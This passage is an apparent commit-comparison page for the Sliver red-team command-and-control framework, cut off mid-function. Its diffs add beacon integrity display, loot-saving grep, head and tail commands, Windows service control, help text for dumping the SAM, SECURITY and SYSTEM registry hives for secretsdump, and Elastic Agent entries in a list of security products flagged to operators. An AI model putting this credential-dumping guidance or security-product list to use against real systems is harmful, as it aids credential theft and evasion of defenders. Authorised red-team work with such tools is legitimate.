mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-10 01:41:29 -10:00
Compare commits
70
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
baa3659f20 | ||
|
|
d0dc42ea2f | ||
|
|
12d6c13f4e | ||
|
|
0a31daf6ef | ||
|
|
34b97418b1 | ||
|
|
d9db5752c1 | ||
|
|
58916d47b9 | ||
|
|
49a095de44 | ||
|
|
c9f5f0b122 | ||
|
|
942823bb1f | ||
|
|
9cbca40e90 | ||
|
|
fcbcef0472 | ||
|
|
3274631b04 | ||
|
|
310b844c64 | ||
|
|
f50a1ed243 | ||
|
|
8ff7d4ec04 | ||
|
|
0bfa34357e | ||
|
|
ad1ee0a52d | ||
|
|
d9705a3cbe | ||
|
|
3c91f8eb52 | ||
|
|
9d36920115 | ||
|
|
8731006619 | ||
|
|
19cac4a08a | ||
|
|
a9679e56d3 | ||
|
|
8e833d3510 | ||
|
|
f227fedd46 | ||
|
|
804cf1b3fa | ||
|
|
7e23f93ba7 | ||
|
|
1a79fb0176 | ||
|
|
7d9ced0d58 | ||
|
|
a0ea8eca27 | ||
|
|
61193c51c5 | ||
|
|
849f6fb683 | ||
|
|
24bb07e981 | ||
|
|
ad3b55fc0d | ||
|
|
e5bc13e9ed | ||
|
|
2fbd8e059a | ||
|
|
b20c5374b7 | ||
|
|
05ea6ce233 | ||
|
|
72a37aa07a | ||
|
|
ae6028b7f6 | ||
|
|
13b2b5bc96 | ||
|
|
49bd90bc96 | ||
|
|
2d463f7b39 | ||
|
|
24b0301000 | ||
|
|
70c65ca13b | ||
|
|
80b4a29ce5 | ||
|
|
239c32e9c0 | ||
|
|
78b0a46654 | ||
|
|
6597361075 | ||
|
|
ad544ef4fa | ||
|
|
ceb8b2f513 | ||
|
|
b4bb80caab | ||
|
|
c6cfb2dee9 | ||
|
|
2792dd026e | ||
|
|
43567441cc | ||
|
|
3d2751bb2b | ||
|
|
bdd8390913 | ||
|
|
b9403085c6 | ||
|
|
5039be3db8 | ||
|
|
b64dd14f2f | ||
|
|
538912c89d | ||
|
|
456ca26817 | ||
|
|
0bf4dd4313 | ||
|
|
f18e383e33 | ||
|
|
5f34e9672b | ||
|
|
9f2ab9ba1b | ||
|
|
d984d3a5f9 | ||
|
|
35b7b034ce | ||
|
|
b5262b0c3a |
No files matched your search
@@ -31,7 +31,7 @@ jobs:
|
||||
run: make servers
|
||||
|
||||
- name: Server Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: servers
|
||||
path: ./sliver-server_*
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
run: make clients
|
||||
|
||||
- name: Client Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: clients
|
||||
path: ./sliver-client_*
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
uses: github/codeql-action/init@v3
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
@@ -48,6 +48,6 @@ jobs:
|
||||
run: make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
uses: github/codeql-action/analyze@v3
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
@@ -35,7 +35,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Detect package manager
|
||||
id: detect-package-manager
|
||||
@@ -63,7 +63,7 @@ jobs:
|
||||
node-version: "lts/*"
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v3
|
||||
uses: actions/configure-pages@v4
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v3
|
||||
|
||||
@@ -112,20 +112,45 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
windowsBeaconInList := false
|
||||
for _, beacon := range beacons {
|
||||
if beacon.OS == "windows" {
|
||||
windowsBeaconInList = true
|
||||
}
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
if windowsBeaconInList {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Integrity",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
@@ -145,6 +170,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
if beacon.Integrity == "" {
|
||||
beacon.Integrity = "-"
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
@@ -158,11 +186,19 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
||||
}
|
||||
|
||||
if windowsBeaconInList {
|
||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
|
||||
@@ -162,7 +162,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Use: consts.MigrateStr,
|
||||
Short: "Migrate into a remote process",
|
||||
Long: help.GetHelpFor([]string{consts.MigrateStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
MigrateCmd(cmd, con, args)
|
||||
},
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
@@ -66,6 +67,16 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
|
||||
}
|
||||
|
||||
/* If the HTTP C2 Config name is not defined, then put in the default value
|
||||
This will have no effect on implants that do not use HTTP C2
|
||||
Also this should be overridden when the build info is pulled from the
|
||||
database, but if there is no build info and we have to create the build
|
||||
from scratch, we need to have something in here.
|
||||
*/
|
||||
if config.HTTPC2ConfigName == "" {
|
||||
config.HTTPC2ConfigName = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: pid,
|
||||
Config: config,
|
||||
|
||||
@@ -230,6 +230,88 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
|
||||
|
||||
grepCmd := &cobra.Command{
|
||||
Use: consts.GrepStr,
|
||||
Short: "Search for strings that match a regex within a file or directory",
|
||||
Long: help.GetHelpFor([]string{consts.GrepStr}),
|
||||
Args: cobra.ExactArgs(2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GrepCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("recursive", "r", false, "search recursively")
|
||||
f.BoolP("insensitive", "i", false, "case-insensitive search")
|
||||
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
|
||||
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
|
||||
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
|
||||
f.BoolP("exact", "e", false, "match the search term exactly")
|
||||
})
|
||||
carapace.Gen(grepCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("regex to search the file for"),
|
||||
carapace.ActionValues().Usage("remote path / file to search in"),
|
||||
)
|
||||
|
||||
headCmd := &cobra.Command{
|
||||
Use: consts.HeadStr,
|
||||
Short: "Grab the first number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.HeadStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
HeadCmd(cmd, con, args, true)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
flags.Bind("", false, headCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
|
||||
})
|
||||
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
tailCmd := &cobra.Command{
|
||||
Use: consts.TailStr,
|
||||
Short: "Grab the last number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.TailStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
HeadCmd(cmd, con, args, false)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
|
||||
})
|
||||
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
return []*cobra.Command{
|
||||
mvCmd,
|
||||
cpCmd,
|
||||
@@ -242,5 +324,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
downloadCmd,
|
||||
uploadCmd,
|
||||
memfilesCmd,
|
||||
grepCmd,
|
||||
headCmd,
|
||||
tailCmd,
|
||||
}
|
||||
}
|
||||
@@ -79,21 +79,23 @@ var (
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
consts.MakeTokenStr: makeTokenHelp,
|
||||
consts.EnvStr: getEnvHelp,
|
||||
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
consts.MakeTokenStr: makeTokenHelp,
|
||||
consts.EnvStr: getEnvHelp,
|
||||
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.RegistryReadStr + consts.RegistryReadHiveStr: regReadHiveHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
consts.ServicesStr: servicesHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
@@ -124,7 +126,7 @@ var (
|
||||
[[.Bold]]About:[[.Normal]] Manage jobs/listeners.`
|
||||
|
||||
sessionsHelp = `[[.Bold]]Command:[[.Normal]] sessions <options>
|
||||
[[.Bold]]About:[[.Normal]] List Sliver sessions, and optionally interact or kill a session.`
|
||||
[[.Bold]]About:[[.Normal]] List Sliver sessions, and optionally interact or kill a session. Process integrity information is only available on Windows and is updated each time the getprivs command is executed.`
|
||||
|
||||
backgroundHelp = `[[.Bold]]Command:[[.Normal]] background
|
||||
[[.Bold]]About:[[.Normal]] Background the active Sliver.`
|
||||
@@ -573,6 +575,26 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regReadHiveHelp = `[[.Bold]]Command:[[.Normal]] registry read hive [name]
|
||||
[[.Bold]]About:[[.Normal]] Read the contents of a registry hive into a binary file
|
||||
[[.Bold]]Example:[[.Normal]] registry read hive --hive HKLM --save SAM.save SAM
|
||||
This command reads the data from a specified registry hive into a binary file, suitable for use with tools like secretsdump.
|
||||
The specified hive must be relative to a root hive (such as HKLM or HKCU). For example, if you want to read the SAM hive, the
|
||||
root hive is HKLM, and the specified hive is SAM.
|
||||
This command requires that the process has or can get the SeBackupPrivilege privilege. If you want to dump the SAM, SECURITY, and
|
||||
SYSTEM hives, your process must be running with High integrity (i.e. running as SYSTEM).
|
||||
|
||||
Supported root hives are:
|
||||
- HKEY_LOCAL_MACHINE (HKLM, default)
|
||||
- HKEY_CURRENT_USER (HKCU)
|
||||
- HKEY_CURRENT_CONFIG (HKCC)
|
||||
- HKEY_PERFORMANCE_DATA (HKPD)
|
||||
- HKEY_USERS (HKU)
|
||||
- HKEY_CLASSES_ROOT (HKCR)
|
||||
The root hive must be specified using its abbreviation, such as HKLM, and not its full name.
|
||||
This command will only run against the local machine.
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
@@ -1293,6 +1315,11 @@ Searches can be filtered using the following patterns:
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
servicesHelp = `[[.Bold]]Command:[[.Normal]] services [-H <hostname>]
|
||||
[[.Bold]]About:[[.Normal]] Get information about services and control them (start, stop).
|
||||
|
||||
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
@@ -203,6 +203,11 @@ func LootText(text string, lootName string, lootFileName string, fileType client
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func LootBinary(data []byte, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverClient) {
|
||||
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, data)
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
|
||||
@@ -59,6 +59,11 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
PrintGetPrivs(privs, pid, con)
|
||||
err = updateBeaconIntegrityInformation(con, beacon.ID, privs.ProcessIntegrity)
|
||||
if err != nil {
|
||||
con.PrintWarnf("Could not save integrity information for the beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(privs.Response)
|
||||
} else {
|
||||
@@ -70,7 +75,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) {
|
||||
// Response is the Envelope (see RPC API), Err is part of it.
|
||||
if privs.Response != nil && privs.Response.Err != "" {
|
||||
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
|
||||
con.PrintErrorf("\nNOTE: Information may be incomplete due to an error:\n")
|
||||
con.PrintErrorf("%s\n", privs.Response.Err)
|
||||
}
|
||||
if privs.PrivInfo == nil {
|
||||
@@ -101,7 +106,7 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClien
|
||||
nameColumnWidth += 1
|
||||
descriptionColumnWidth += 1
|
||||
|
||||
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
|
||||
con.Printf("\nPrivilege Information for %s (PID: %d)\n", processName, pid)
|
||||
con.Println(strings.Repeat("-", introWidth))
|
||||
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
|
||||
@@ -145,3 +150,10 @@ func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
|
||||
func updateBeaconIntegrityInformation(con *console.SliverClient, beaconID string, integrity string) error {
|
||||
_, err := con.Rpc.UpdateBeaconIntegrityInformation(context.Background(), &clientpb.BeaconIntegrity{BeaconID: beaconID,
|
||||
Integrity: integrity})
|
||||
|
||||
return err
|
||||
}
|
||||
@@ -50,7 +50,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Int32P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles()
|
||||
@@ -72,5 +72,65 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID"))
|
||||
|
||||
return []*cobra.Command{psCmd, procdumpCmd, terminateCmd}
|
||||
servicesCmd := &cobra.Command{
|
||||
Use: consts.ServicesStr,
|
||||
Short: "Service operations",
|
||||
Long: help.GetHelpFor([]string{consts.ServicesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ServicesCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.ProcessHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
}
|
||||
flags.Bind("", false, servicesCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("host", "H", "localhost", "Hostname to retrieve service information from")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
serviceInfoCmd := &cobra.Command{
|
||||
Use: consts.ServicesInfoStr,
|
||||
Short: "Get detailed information about a single service",
|
||||
Long: help.GetHelpFor([]string{consts.ServicesStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ServiceInfoCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, serviceInfoCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("host", "H", "localhost", "Hostname to retrieve service information from")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
servicesCmd.AddCommand(serviceInfoCmd)
|
||||
|
||||
serviceStopCmd := &cobra.Command{
|
||||
Use: consts.ServicesStopStr,
|
||||
Short: "Stop a service on the local machine or a remote machine",
|
||||
Long: help.GetHelpFor([]string{consts.ServicesStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ServiceStopCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, serviceStopCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("host", "H", "localhost", "Hostname to stop service on")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
servicesCmd.AddCommand(serviceStopCmd)
|
||||
|
||||
serviceStartCmd := &cobra.Command{
|
||||
Use: consts.ServicesStartStr,
|
||||
Short: "Start a service on the local machine or a remote machine",
|
||||
Long: help.GetHelpFor([]string{consts.ServicesStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ServiceStartCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, serviceStartCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("host", "H", "localhost", "Hostname to start service on")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
servicesCmd.AddCommand(serviceStartCmd)
|
||||
|
||||
return []*cobra.Command{psCmd, procdumpCmd, terminateCmd, servicesCmd}
|
||||
}
|
||||
@@ -46,6 +46,10 @@ var knownSecurityTools = map[string][]string{
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"elastic-agent.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
||||
"elastic-endpoint.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
||||
"filebeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - log shipper
|
||||
"metricbeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - metric shipper
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
|
||||
@@ -0,0 +1,374 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const (
|
||||
serviceStopped = 1
|
||||
serviceStartPending = 2
|
||||
serviceStopPending = 3
|
||||
serviceRunning = 4
|
||||
serviceContinuePending = 5
|
||||
servicePausePending = 6
|
||||
servicePaused = 7
|
||||
serviceBootStart = 0
|
||||
serviceSystemStart = 1
|
||||
serviceAutoStart = 2
|
||||
serviceDemandStart = 3
|
||||
serviceDisabled = 4
|
||||
)
|
||||
|
||||
func ServicesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Hopefully this command being Windows only is temporary
|
||||
activeOS := getOS(session, beacon)
|
||||
if activeOS != "windows" {
|
||||
con.PrintErrorf("The services command is currently only available on Windows")
|
||||
return
|
||||
}
|
||||
|
||||
hostname, _ := cmd.Flags().GetString("host")
|
||||
|
||||
services, err := con.Rpc.Services(context.Background(), &sliverpb.ServicesReq{
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if services.Response != nil && services.Response.Async {
|
||||
con.AddBeaconCallback(services.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, services)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintServices(services, con)
|
||||
})
|
||||
con.PrintAsyncResponse(services.Response)
|
||||
} else {
|
||||
PrintServices(services, con)
|
||||
}
|
||||
}
|
||||
|
||||
func ServiceInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Hopefully this command being Windows only is temporary
|
||||
activeOS := getOS(session, beacon)
|
||||
if activeOS != "windows" {
|
||||
con.PrintErrorf("The services command is currently only available on Windows")
|
||||
return
|
||||
}
|
||||
|
||||
hostname, _ := cmd.Flags().GetString("host")
|
||||
serviceName := args[0]
|
||||
if serviceName == "" {
|
||||
con.PrintErrorf("A service name is required")
|
||||
return
|
||||
}
|
||||
|
||||
serviceInfo, err := con.Rpc.ServiceDetail(context.Background(), &sliverpb.ServiceDetailReq{
|
||||
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if serviceInfo.Response != nil && serviceInfo.Response.Async {
|
||||
con.AddBeaconCallback(serviceInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, serviceInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintServiceDetail(serviceInfo, con)
|
||||
})
|
||||
